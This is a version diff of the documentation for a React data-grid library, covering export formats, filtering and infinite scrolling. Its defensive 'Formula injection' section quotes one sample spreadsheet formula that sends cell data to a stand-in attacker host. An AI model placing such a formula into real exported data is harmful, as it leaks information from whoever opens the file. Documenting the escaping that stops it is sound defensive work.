@opencorestack/opengridx 2.0.4 → 3.0.0

package/docs/features/export-guide.md

@@ -22,8 +22,8 @@ import { exportToCsv, exportToExcel, exportToExcelAdvanced, exportToJson, printG
 // CSV
 exportToCsv(rows, columns, { fileName: 'data.csv' });
 
-// Basic Excel (no deps)
-exportToExcel(rows, columns, { fileName: 'data.xlsx' });
+// Basic Excel (no deps) — an HTML table that Excel opens as a legacy .xls
+exportToExcel(rows, columns, { fileName: 'data.xls' });
 
 // Advanced Excel (ExcelJS, lazy-loaded)
 await exportToExcelAdvanced(rows, columns, { fileName: 'data.xlsx' });
@@ -47,7 +47,7 @@ exportToCsv(rows, columns, {
   includeHeaders: true,
   delimiter: ',',
   selectedRows: [1, 2, 3],           // export only these IDs
-  aggregationResult: aggResult,       // adds SUM/AVG totals row
+  aggregationResult: aggResult,       // adds two rows: function labels (SUM/AVG), then values
   aggregationModel: { salary: 'sum' },
 });
 ```
@@ -58,16 +58,24 @@ exportToCsv(rows, columns, {
 |---|---|---|---|
 | `fileName` | `string` | `'export.csv'` | Output filename |
 | `includeHeaders` | `boolean` | `true` | Include column header row |
-| `delimiter` | `string` | `','` | Field delimiter |
-| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
-| `aggregationResult` | `object \| null` | — | Aggregation values row |
+| `delimiter` | `string` | `','` | Field delimiter. Values that contain it (or a quote, LF or CR) are quoted |
+| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
+| `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
 | `aggregationModel` | `object \| null` | — | Labels for aggregation row |
+| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
+| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
+| `escapeFormulas` | `boolean` | `true` | Prefix text that starts with `=`, `+`, `-`, `@`, tab or CR with `'` (v3.0+). See [Formula injection](#formula-injection) |
+| `bom` | `boolean` | `true` | Start the file with a UTF-8 byte-order mark so Excel reads non-ASCII text (v3.0+) |
+
+### Formula injection
+
+Spreadsheet apps run any cell that starts with `=`, `+`, `-` or `@` as a formula, so user-entered text such as `=HYPERLINK("http://evil/?"&A2,"Click")` can leak data or run commands when someone opens the export ("CSV injection"). Since v3.0, `exportToCsv` and `exportToExcel` prefix such text — in cells, headers and group labels — with `'`, which makes it plain text. Plain signed numbers (`-12.50`) and text formatted from a number, date or boolean value are left alone. Pass `escapeFormulas: false` only when every exported value is trusted and you need live formulas.
 
 ---
 
 ## 2. `exportToExcel` (basic)
 
-HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format.
+HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format. Excel refuses HTML content named `.xlsx`, so since v3.0 a `.xlsx` file name is renamed to `.xls` (with a console warning); use [`exportToExcelAdvanced`](#3-exporttoexceladvanced--recommended) for a real `.xlsx`. Text cells are marked as text (`mso-number-format:"\@"`), so Excel keeps leading zeros (`00501`), long ids and strings like `1-2` as they are; number, date and boolean columns are left for Excel to type.
 
 ```tsx
 import { exportToExcel } from '@opencorestack/opengridx';
@@ -85,12 +93,15 @@ exportToExcel(rows, columns, {
 
 | Option | Type | Default | Description |
 |---|---|---|---|
-| `fileName` | `string` | `'export.xlsx'` | Output filename |
-| `sheetName` | `string` | `'Sheet1'` | Sheet tab name |
+| `fileName` | `string` | `'export.xls'` | Output filename (`.xlsx` is renamed to `.xls`) |
+| `sheetName` | `string` | `'Sheet1'` | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`; cut to 31 characters |
 | `includeHeaders` | `boolean` | `true` | Include column header row |
-| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
-| `aggregationResult` | `object \| null` | — | Aggregation values row |
+| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
+| `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
 | `aggregationModel` | `object \| null` | — | Labels for aggregation row |
+| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
+| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
+| `escapeFormulas` | `boolean` | `true` | Prefix formula-like text with `'` (v3.0+). See [Formula injection](#formula-injection) |
 
 ---
 
@@ -162,16 +173,20 @@ await exportToExcelAdvanced(rows, columns, {
 | `bodyFontSize` | `number` | `10` | Body font size (pt) |
 | `aggregationResult` | `object \| null` | — | Aggregation totals |
 | `aggregationModel` | `object \| null` | — | Aggregation function labels |
-| `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets |
+| `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets. With no selection, such a sheet has only its header row (v3.0+) |
+| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
+| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` (v2.1+). See [Grouped export](#grouped-export-to-advanced-excel) |
+| `groupHeaderFillColor` | `string` | `'#e8eaf6'` | Group-header row fill (grouped export) |
+| `groupSubtotalFillColor` | `string` | `'#f0f4ff'` | Group-subtotal row fill (grouped export) |
 
 ### `ExcelSheetDefinition`
 
 | Option | Type | Default | Description |
 |---|---|---|---|
-| `name` | `string` | — | Sheet tab name (max 31 chars) |
-| `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include |
+| `name` | `string` | — | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`, the name is cut to 31 characters, and a duplicate name (case-insensitive, also between two `summary` sheets) gets a ` (2)` suffix (v3.0+) |
+| `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include. `'selected'` writes only `selectedRows`, none when nothing is selected |
 | `includeHeaders` | `boolean` | `true` | Include column header row |
-| `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom |
+| `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom. On a `'selected'` sheet the totals are recomputed over the selected rows |
 | `autoFilter` | `boolean` | `true` | Excel filter dropdowns on header |
 | `frozenHeader` | `boolean` | `true` | Freeze row 1 |
 | `alternateRowColor` | `string \| false` | `'#f8fafc'` | Odd-row fill. `false` to disable |
@@ -180,16 +195,42 @@ await exportToExcelAdvanced(rows, columns, {
 
 | Option | Type | Description |
 |---|---|---|
-| `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'` |
+| `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'`. Defaults: `type: 'number'` cells get `'#,##0'` for whole numbers and `'#,##0.##'` otherwise; `type: 'date'` gets `'yyyy-mm-dd'` |
 | `width` | `number` | Column width in characters (overrides auto) |
 | `alignment` | `'left' \| 'center' \| 'right'` | Horizontal alignment |
-| `embedImage` | `boolean` | If true, URL in cell is fetched and embedded as image |
+| `embedImage` | `boolean` | If true, the cell's URL (after `valueGetter`) is fetched and embedded as an image. PNG, JPEG and GIF are embedded (detected from the bytes); other formats (SVG, WebP, AVIF) and failed fetches write the URL text instead |
 | `imageWidth` | `number` | Width of embedded image (px, default: 40) |
 | `imageHeight`| `number` | Height of embedded image (px, default: 40) |
 
+### Grouped export to advanced Excel
+
+Since v2.1, pass the grid's grouped structure to keep number formats, styling and summary sheets on grouped reports:
+
+```tsx
+await exportToExcelAdvanced(rows, columns, {
+  fileName: 'sales-by-region.xlsx',
+  groupedRows: apiRef.current.getGroupedExportRows() ?? undefined,
+  aggregationModel,
+  aggregationResult: apiRef.current.getAggregationResult(),
+  columnStyles: { amount: { numFmt: '$#,##0.00' } },
+});
+```
+
+Sheets with `rows: 'all'` are written in grouped order: a bold group-header row (the same label the grid shows — see [Group labels in exports](#group-labels-in-exports)), the leaf rows, a `Subtotal` row per group, and a final `Grand Total`. Rows use Excel's native outlining, so users can collapse groups in Excel. Subtotal and total values are written as numbers so `columnStyles[field].numFmt` applies — except `count` and `unique`, which are plain integers (`'#,##0'`) rather than, say, a currency or date, and `min` / `max` of a date column, which are written as dates. When the first column has its own aggregate, its value is written instead of the `Subtotal` label. A `grand-total` entry replaces the sheet's `includeSummary` rows, so totals are not duplicated. `rows: 'selected'` sheets ignore `groupedRows` and export flat.
+
+### Group labels in exports
+
+Every exporter (CSV, basic Excel, JSON, print, PDF and advanced Excel) writes the same group-header label the grid shows on screen:
+
+1. the entry's `groupLabel` — set by `apiRef.current.getGroupedExportRows()` from the grid's own label;
+2. else the grouping column's `groupingValueFormatter`;
+3. else `"field: value"`, the grid's documented default.
+
+Before v3.0, only advanced Excel applied `groupingValueFormatter` (falling back to `"Header: value"`), and the other formats always wrote `"field: value"`.
+
 ### Summary Sheet
 
-Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet:
+Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet. Values are numeric cells (v3.0+; they were locale-formatted text before) in the column's `numFmt`, so with `columnStyles: { salary: { numFmt: '$#,##0' } }`:
 
 ```
 | Column       | Function | Value     |
@@ -199,6 +240,22 @@ Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone agg
 | Perf. Score  | AVG      | 3.7       |
 ```
 
+The flat `includeSummary` totals row is numeric in the same way.
+
+### Cell types
+
+`exportToExcelAdvanced` writes native cells so Excel can sort, filter and sum them:
+
+| Column / value | Written as |
+|---|---|
+| `type: 'number'` — numbers, and numeric strings such as `'42.50'` | Number |
+| `type: 'boolean'` — booleans, and `'true'` / `'false'` strings | Boolean |
+| `type: 'date'` — `Date`, epoch milliseconds, and ISO strings (`'2024-01-15'`, `'2024-01-15T10:30'`) | Date, with the same calendar day and wall-clock time the grid shows in the user's timezone |
+| A value that is not of the column's type (`'n/a'` in a number column) | The `valueFormatter` text, else the value as text |
+| `NaN`, `Infinity`, Invalid Date, `null` | Empty cell (or the `valueFormatter` text, which also runs for missing values) |
+| Objects and arrays | JSON text. Objects are never handed to ExcelJS as-is, so `{ formula }`, `{ hyperlink }`, `{ richText }` or `{ error }` row data cannot become live formulas or links |
+| Anything else | The `valueFormatter` text, else the value |
+
 ### Feature Comparison: Basic vs Advanced
 
 | Feature | `exportToExcel` | `exportToExcelAdvanced` |
@@ -234,6 +291,8 @@ exportToJson(rows, columns, {
 });
 ```
 
+JSON is a data format, so values are written raw: `valueGetter` is applied, `valueFormatter` is not.
+
 When `aggregationResult` is provided, output shape becomes:
 ```json
 {
@@ -245,6 +304,8 @@ When `aggregationResult` is provided, output shape becomes:
 }
 ```
 
+`aggregation.values` are the raw results (numbers). Before v3.0 they were locale-formatted strings such as `"8,320,000"`. With `groupedRows`, the output is `{ groups, grandTotal }`, and `subtotals` / `grandTotal` contain only exported columns (an `exportable: false` column's totals are left out, v3.0+).
+
 **`JsonExportOptions`:**
 
 | Option | Type | Default | Description |
@@ -252,8 +313,10 @@ When `aggregationResult` is provided, output shape becomes:
 | `fileName` | `string` | `'export.json'` | Output filename |
 | `pretty` | `boolean` | `true` | Pretty-print with indentation |
 | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
+| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
 | `aggregationResult` | `object \| null` | — | Append aggregation object |
 | `aggregationModel` | `object \| null` | — | Function labels |
+| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure; output becomes a nested `{ groups, grandTotal }` tree |
 
 ---
 
@@ -281,9 +344,13 @@ printGrid(rows, columns, {
 | Option | Type | Description |
 |---|---|---|
 | `title` | `string` | Print page title |
-| `selectedRows` | `(string\|number)[]` | Print only these row IDs |
+| `selectedRows` | `(string\|number)[]` | Print only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
 | `aggregationResult` | `object \| null` | Append totals |
 | `aggregationModel` | `object \| null` | Label totals |
+| `groupedRows` | `GridGroupedExportRow[]` | Grouped structure from `apiRef.current.getGroupedExportRows()` |
+| `getRowId` | `(row) => GridRowId` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
+
+The print window is a same-origin popup, so every value written into it — title, cells, headers, group labels, image URLs and alt text, error messages — is HTML-escaped. `type: 'image'` columns render an `<img>` only for `http(s):`, `data:image/…`, `blob:` and relative URLs; any other value (e.g. `javascript:…`) is printed as text.
 
 ---
 
@@ -291,13 +358,17 @@ printGrid(rows, columns, {
 
 ### Export with toolbar integration
 
+`GridToolbar` has no built-in export action; render your own button with `renderExportButton`. Pass it through `slotProps.toolbar` rather than wrapping `GridToolbar` in an inline `slots.toolbar` function: the grid hands its filter, column and aggregation handlers to the slot component, and a wrapper that drops them leaves the toolbar without its search, Filters, Columns and Summaries controls.
+
 ```tsx
-import { DataGrid, GridToolbar, exportToExcelAdvanced } from '@opencorestack/opengridx';
+import { useState } from 'react';
+import {
+  DataGrid, GridToolbar, exportToExcelAdvanced,
+  type GridColDef, type GridRowModel, type GridRowSelectionModel,
+} from '@opencorestack/opengridx';
 
-function MyGrid() {
-  const [rows, setRows] = useState([...]);
-  const [columns] = useState([...]);
-  const [selected, setSelected] = useState([]);
+function MyGrid({ rows, columns }: { rows: GridRowModel[]; columns: GridColDef[] }) {
+  const [selected, setSelected] = useState<GridRowSelectionModel>([]);
 
   return (
     <DataGrid
@@ -309,10 +380,17 @@ function MyGrid() {
       slots={{ toolbar: GridToolbar }}
       slotProps={{
         toolbar: {
-          onExcelAdvanced: () => exportToExcelAdvanced(rows, columns, {
-            fileName: 'report.xlsx',
-            selectedRows: selected,
-          }),
+          renderExportButton: () => (
+            <button
+              onClick={() => exportToExcelAdvanced(rows, columns, {
+                fileName: 'report.xlsx',
+                sheets: [{ name: 'Selected', rows: 'selected' }],
+                selectedRows: selected,
+              })}
+            >
+              Export to Excel
+            </button>
+          ),
         },
       }}
     />
@@ -336,6 +414,10 @@ await exportToExcelAdvanced(rows, columns, {
 });
 ```
 
+### Columns without a `valueFormatter`
+
+CSV, Excel (HTML), print and PDF write the text the grid shows. Without a `valueFormatter`, that is the column type's default (v3.0): a `date` column writes the local calendar date, `boolean` writes Yes / No, and `singleSelect` writes the `valueOptions` label. JSON and the advanced XLSX export keep raw values.
+
 ### Respect `valueFormatter` for styled columns
 
 The advanced export keeps **raw values** for typed columns (`number`, `date`, `boolean`) so Excel can format them natively with `numFmt`. For `string` columns, `valueFormatter` is applied before writing.
@@ -345,7 +427,7 @@ const columns: GridColDef[] = [
   {
     field: 'salary',
     type: 'number',             // ← raw number written to Excel
-    valueFormatter: ({ value }) => `$${value.toLocaleString()}`, // used in CSV/print
+    valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`, // used in CSV/print
   },
 ];
 
@@ -360,7 +442,7 @@ await exportToExcelAdvanced(rows, columns, {
 
 ## Value Formatters
 
-All export functions respect `valueFormatter` and `valueGetter`:
+Every exporter applies `valueGetter`. CSV, basic Excel, print and PDF write the `valueFormatter` text, as the grid does — since v3.0 the formatter also runs for `null` / `undefined` values, so placeholder text such as `'Unassigned'` or `'—'` is exported (a formatter that throws for a missing value exports an empty cell). JSON writes raw values, and advanced Excel writes typed columns natively (see the note below):
 
 ```tsx
 const columns: GridColDef[] = [
@@ -370,25 +452,34 @@ const columns: GridColDef[] = [
   },
   {
     field: 'salary',
-    valueFormatter: ({ value }) => `$${value.toLocaleString()}`,
+    valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`,
   },
 ];
 ```
 
-> **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`.
+> **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`; the formatter is used only for values that are missing or not of the column's type (see [Cell types](#cell-types)).
+
+### Aggregate values
+
+Subtotal, grand-total and totals cells are formatted the same way in every text format (CSV, basic Excel, print, PDF):
+
+- `count` and `unique` are plain counts formatted like the grid footer (`1,234`); the column's `valueFormatter` is not applied, because a count of a currency column is not an amount.
+- `sum`, `avg`, `min` and `max` go through the column's `valueFormatter`. Its `row` argument is the record of aggregated values (like the grid's group rows), not a data row; if the formatter throws, the value is formatted like the grid footer instead of aborting the export. `min` / `max` of a `type: 'date'` column reach the formatter as a `Date`.
+- When the first exported column has its own aggregate, its value is kept next to the label (`Subtotal: 300`, `TOTAL: $30.00`) instead of being overwritten.
 
 ---
 
 ## Excluding Columns
 
-You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. System columns are also automatically excluded.
+You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. A few fields are also excluded automatically. Every other column you pass is exported, including hidden ones: pass `apiRef.current.getVisibleColumns()` to export what is on screen.
 
 | Method | Description |
 |---|---|
 | `exportable: false` | Set in `GridColDef` to manually exclude any column |
-| `__check__` | Native checkbox column (auto-excluded) |
-| `__actions__` | Common field for action buttons (auto-excluded) |
-| `isSpacer: true` | Spacer columns (auto-excluded) |
+| `__checkbox_col__`, `__expand_col__`, `__reorder_col__` | The grid's checkbox, detail-panel and drag-handle columns (auto-excluded, v3.0+) |
+| `__group__` | The row-grouping column from `groupingColDef` (auto-excluded; grouped exports write group labels from `groupedRows`) |
+| `__check__`, `__actions__` | Legacy checkbox / action-button field names (auto-excluded) |
+| `isSpacer: true` | Spacer columns (auto-excluded from every format since v3.0; before, only advanced Excel skipped them) |
 
 ### Example
 ```tsx
@@ -398,13 +489,26 @@ const columns: GridColDef[] = [
   { 
     field: 'actions', 
     headerName: 'Actions', 
-    exportable: false // This column won't appear in CSV/Excel/JSON/Print
+    exportable: false // This column won't appear in CSV/Excel/JSON/PDF/Print
   },
 ];
 ```
 
 ---
 
+## Selection, grouping and totals
+
+Every exporter follows the same rules (v3.0+):
+
+- **`selectedRows`** exports only the rows with those IDs, picked from the `rows` you pass. Pass all rows plus `selectedRows` rather than pre-filtering, so the exporter knows a selection was applied.
+- **A non-empty selection takes precedence over `groupedRows`**: the selected rows are exported flat. (Before v3.0, CSV, basic Excel, JSON, print and PDF silently ignored the selection and exported every grouped row.) In `exportToExcelAdvanced`, `rows: 'selected'` sheets are flat and `rows: 'all'` sheets use `groupedRows`.
+- **Totals follow the exported rows.** The grid's `aggregationResult` covers all filtered rows; when a selection narrows the export, the totals row is recomputed over the selected rows with the grid's own aggregation functions (it needs `aggregationModel`). Without a selection, `aggregationResult` is written as given — if you pass a subset of rows yourself (e.g. the current page), pass totals computed for that subset.
+- Row selection is linear in the number of rows, so exporting "select all" on a large grid does not freeze the tab.
+- **With a custom `getRowId`, pass it as the `getRowId` option.** `selectedRows` holds the grid's ids, and since v3.0 the grid no longer copies them onto `row.id`, so without the option a row that keeps its id in another field (or whose `id` field is not the key) is not matched.
+- **`getGroupedExportRows()` exports every group**, collapsed or not, sorted and filtered like the screen; groups with no row left after the filter are omitted, and each subtotal is computed over the rows exported under it (v3.0+).
+
+---
+
 ## Performance Notes
 
 | Format | 10k rows | 100k rows |
@@ -428,7 +532,9 @@ All export functions work in:
 
 ## See Also
 
-- [Demo: Export Data](../demo/examples/ExportDemo.tsx)
-- [Demo: Advanced Excel Export](../demo/examples/AdvancedExcelExportDemo.tsx)
-- [Slots API Reference](./SLOTS_API.md)
-- [Theming Guide](./THEMING.md)
+- [PDF Export](./pdf-export.md)
+- [Toolbar Customization](./toolbar-customization.md)
+- [Demo: Export Data](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/ExportDemo/ExportDemo.tsx)
+- [Demo: Advanced Excel Export](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/AdvancedExcelExportDemo/AdvancedExcelExportDemo.tsx)
+- [Slots API Reference](../customization/slots-api.md)
+- [Theming Guide](../customization/theming.md)

package/docs/features/filtering.md

@@ -3,7 +3,7 @@
 OpenGridX provides a robust filtering system with support for both client-side and server-side operations.
 
 ## 📑 Overview
-- **Quick Filter**: Search across all columns simultaneously.
+- **Quick Filter**: Search across all visible, filterable columns at once.
 - **Column Filters**: Specific operators for different data types (string, number, date, etc.).
 - **Multi-Filter Groups**: Support for `AND`/`OR` logic operators.
 - **Server-Side Filtering**: Offload complex queries to your backend.
@@ -25,11 +25,24 @@ Simply define your columns with `filterable: true` (which is the default).
 />
 ```
 
+The filter model can be controlled (`filterModel` + `onFilterModelChange`) or left to the grid. Uncontrolled, the grid keeps its own filter model: the toolbar search and filter panel (`slots={{ toolbar: GridToolbar }}`) and `apiRef.current.setFilterModel()` change it, `onFilterModelChange` reports each change, and `initialState.filter.filterModel` sets the starting filter (which is how [state persistence](./state-persistence.md) restores it).
+
+```tsx
+<DataGrid
+  rows={rows}
+  columns={columns}
+  slots={{ toolbar: GridToolbar }}          // search + filters work without any filter props
+  initialState={{ filter: { filterModel: { items: [{ field: 'age', operator: '>', value: 30 }] } } }}
+/>
+```
+
 ### Server-Side Filtering
-Set `filterMode="server"` and handle the request in your `dataSource`.
+Set `filterMode="server"` and handle the request in your `dataSource`. The grid does not re-filter the rows it receives. Without a `dataSource`, fetch the filtered rows yourself from `onFilterModelChange` and pass them as `rows`.
 
 ```tsx
 <DataGrid
+  rows={[]}
+  columns={columns}
   filterMode="server"
   onFilterModelChange={(model) => console.log('Current Filters:', model)}
   dataSource={{
@@ -62,12 +75,35 @@ interface GridFilterItem {
 ```
 
 ### Supported Operators
+
+The filter panel offers these operators per column `type` (the first one is the default):
+
 | Type | Operators |
 | :--- | :--- |
-| **String** | `contains`, `equals`, `startsWith`, `endsWith`, `isEmpty`, `isNotEmpty`, `isAnyOf` |
-| **Number** | `equals`, `!=`, `>`, `>=`, `<`, `<=`, `isEmpty`, `isNotEmpty` |
-| **Date** | `is`, `not`, `isEmpty`, `isNotEmpty` |
+| **String** (default) | `contains`, `equals`, `startsWith`, `endsWith`, `isEmpty`, `isNotEmpty` |
+| **Number** | `=`, `!=`, `>`, `>=`, `<`, `<=`, `isEmpty`, `isNotEmpty` |
+| **Date** | `is`, `not`, `after`, `onOrAfter`, `before`, `onOrBefore`, `isEmpty`, `isNotEmpty` |
 | **Boolean** | `is` |
+| **singleSelect** | `isAnyOf`, `is`, `not` |
+
+Every operator in `GridFilterOperator` also works in a programmatic `filterModel` on any column; the panel shows such an operator as it is.
+
+### How values are matched
+
+- **Empty values do not filter.** An item whose `value` is `undefined`, `null`, a blank string or an empty array is ignored, so picking an operator before typing (or clearing the input) leaves the grid unfiltered. `isEmpty` / `isNotEmpty` need no value.
+- **Computed columns.** Cells are read through the column's `valueGetter`, so a computed column filters by the value it displays.
+- **Text operators** (`contains`, `equals`, `startsWith`, `endsWith`, `is`, `not`) compare case-insensitively.
+- **Number operators** compare numerically and accept numeric strings. A blank cell is empty, not `0`: it never matches `=`, `>`, `<` … and always matches `!=`.
+- **Date operators** compare local calendar days. Cells and values can be `Date` objects, epoch milliseconds or date strings; a `'YYYY-MM-DD'` string is read as a local date (not UTC midnight). `not` matches empty cells; the other date operators never do.
+- **`isAnyOf`** takes an array of allowed values. A single value is treated as a one-element list; an empty array does not filter.
+
+### Quick Filter
+
+`quickFilterValues` is a list of terms. A row matches when **every** term is found (case-insensitive substring) in at least one searched column.
+
+- Only **visible** columns with `filterable !== false` are searched. The row `id` and fields that are not columns are not searched.
+- Each column is searched by its value after `valueGetter` and, when the column has a `valueFormatter`, by the formatted text as well. `Date` values are searched as `YYYY-MM-DD`; objects are skipped.
+- The toolbar search box splits what the user types on whitespace, so `john london` becomes `['john', 'london']` and matches a row with first name John and city London.
 
 ---
 
@@ -76,10 +112,12 @@ The filter panel is accessible through the built-in `GridToolbar`. To use your o
 
 ```tsx
 <DataGrid
+  rows={rows}
+  columns={columns}
   slots={{
     toolbar: MyCustomToolbar
   }}
 />
 ```
 
-The `FilterPanel` component is also exported from `@opencorestack/opengridx` if you need to embed it inside a custom layout.
+The `FilterPanel` component is also exported from `@opencorestack/opengridx` if you need to embed it inside a custom layout. See [`<FilterPanel />`](../components/filter-panel.md) for how it edits the model.

package/docs/features/infinite-scroll.md

@@ -5,83 +5,91 @@ The OpenGridX DataGrid supports infinite scrolling (lazy loading), allowing you
 ## Concept
 
 When infinite scroll is enabled, the grid:
-1.  Disables client-side slicing (pagination in the UI).
-2.  Uses `paginationModel` internally to track the current page and page size.
+1.  Shows no pager and never slices the loaded rows (`pagination` is ignored).
+2.  Uses `paginationModel.page` and `pageSize` to decide how many rows should be loaded: `(page + 1) * pageSize`.
 3.  Triggers `onRowsScrollEnd` when the user scrolls near the bottom of the grid, signaling that more data should be fetched.
-4.  Data is typically **appended** to the existing rows, rather than replacing them.
+4.  **Appends** each response to the rows already loaded. Your `getRows` only returns the requested range.
 
 ## Usage
 
 To enable infinite scrolling:
 
-1.  Set `pagination={false}` to disable UI pagination controls.
+1.  Pass a `dataSource` whose `getRows` returns the rows in `[startRow, endRow)`.
 2.  Set `paginationMode="infinite"`.
-3.  Implement `onRowsScrollEnd` to update your data fetching logic/state (e.g., increment page number).
-4.  Ensure your `dataSource` manages the loaded rows correctly (usually appending).
+3.  Control `paginationModel` and advance `page` in `onRowsScrollEnd`. The grid does not advance the page on its own.
+4.  Set `sortingMode="server"` / `filterMode="server"` if `getRows` applies `sortModel` / `filterModel`.
 
 ```tsx
-import { DataGrid, GridDataSource } from '@opencorestack/opengridx';
+import { useCallback, useMemo, useState } from 'react';
+import {
+    DataGrid,
+    type GridColDef,
+    type GridDataSource,
+    type GridPaginationModel,
+} from '@opencorestack/opengridx';
+import '@opencorestack/opengridx/styles';
 
-// ... setup columns and mockApi ...
+type Person = {
+    id: number;
+    name: string;
+};
+
+const columns: GridColDef<Person>[] = [
+    { field: 'id', headerName: 'ID', width: 90 },
+    { field: 'name', headerName: 'Name', width: 200, sortable: true },
+];
+
+// With a dataSource the grid owns the loaded rows; `rows` only seeds the store.
+const NO_ROWS: Person[] = [];
+
+declare function fetchPeople(params: {
+    startRow: number;
+    endRow: number;
+    sort?: { field: string; sort: 'asc' | 'desc' };
+}): Promise<{ rows: Person[]; total: number }>;
 
 export default function InfiniteScrollDemo() {
-    const [paginationModel, setPaginationModel] = useState({
+    const [paginationModel, setPaginationModel] = useState<GridPaginationModel>({
         page: 0,
-        pageSize: 50
+        pageSize: 50,
     });
-    const [loading, setLoading] = useState(false);
-    const [allRows, setAllRows] = useState([]);
-
-    const dataSource: GridDataSource = useMemo(() => ({
-        getRows: async (params) => {
-            setLoading(true);
-            try {
-                // Fetch NEXT batch of rows from server
-                const response = await mockApi.getRows(params);
-                
-                // CRITICAL: Append new rows to existing rows
-                // (Or ensure response.rows contains ONLY new rows and parent handles appending)
-                return response;
-            } finally {
-                setLoading(false);
-            }
-        }
+
+    const dataSource = useMemo<GridDataSource<Person>>(() => ({
+        getRows: async ({ startRow, endRow, sortModel }) => {
+            // Return ONLY the requested range; the grid appends it to what is loaded.
+            const { rows, total } = await fetchPeople({ startRow, endRow, sort: sortModel[0] });
+            return { rows, rowCount: total };
+        },
     }), []);
 
     const handleScrollEnd = useCallback(() => {
-        if (!loading) {
-            // Increment page to fetch next batch
-            setPaginationModel(prev => ({
-                ...prev,
-                page: prev.page + 1
-            }));
-        }
-    }, [loading]);
+        setPaginationModel(prev => ({ ...prev, page: prev.page + 1 }));
+    }, []);
 
     return (
         <DataGrid
-            rows={[]} // Rows managed by dataSource
+            rows={NO_ROWS}
             columns={columns}
             dataSource={dataSource}
-            
-            // KEY PROPS FOR INFINITE SCROLL
-            pagination={false} 
             paginationMode="infinite"
             sortingMode="server"
-            
             paginationModel={paginationModel}
             onPaginationModelChange={setPaginationModel}
-            
             onRowsScrollEnd={handleScrollEnd}
+            height={400}
         />
     );
 }
 ```
 
+The grid needs a bounded height (here `height={400}`) and the stylesheet import; without either the viewport never scrolls, every loaded row renders, and `onRowsScrollEnd` keeps firing until the whole dataset is loaded.
+
 ## Implementation Details
 
-*   **`onRowsScrollEnd`**: Triggered when `scrollHeight - scrollTop - clientHeight < threshold` (default 100px).
-*   **Request Handling**: `useGridDataSource` includes logic to cancel stale requests if scrolling happens too quickly.
-*   **Appending vs Replacing**: 
-    *   In `infinite` mode, rows fetched for **new pages** are appended.
-    *   Rows fetched due to **sorting/filtering changes** replace the entire dataset (resetting to page 0).
+*   **`onRowsScrollEnd`**: Fired once when the end of the rows comes within 100px of the viewport bottom (`scrollHeight - scrollTop - clientHeight < 100`). It is re-armed when the user scrolls out of that zone or the row count changes, so one scroll gesture loads one page. It also fires after the rows change when the end is already in view, so a first page that does not fill the viewport keeps loading until it does. Horizontal scrolling never fires it.
+*   **Loading placeholders**: the skeleton rows shown while the next page loads are drawn after the last loaded row, only when the user has scrolled to the end of the data.
+*   **Ranges, not pages**: each request asks for `[rows loaded so far, (page + 1) * pageSize)`. Advancing the page twice within the 300 ms debounce, or while a request is in flight, still loads every row in between: one request runs at a time and, when it lands, the grid requests whatever the current page still needs. A response shorter than requested is treated as the end of the data until the page advances again.
+*   **Appending**: rows are appended; a row whose id (`getRowId`) is already loaded is skipped, so overlapping pages never show a row twice.
+*   **Restarting**: a sort, filter, page-size or `dataSource` (`getRows`) change replaces the rows with a new request from row 0 and reports page 0 through `onPaginationModelChange`. Setting a smaller page yourself reloads the list up to that page.
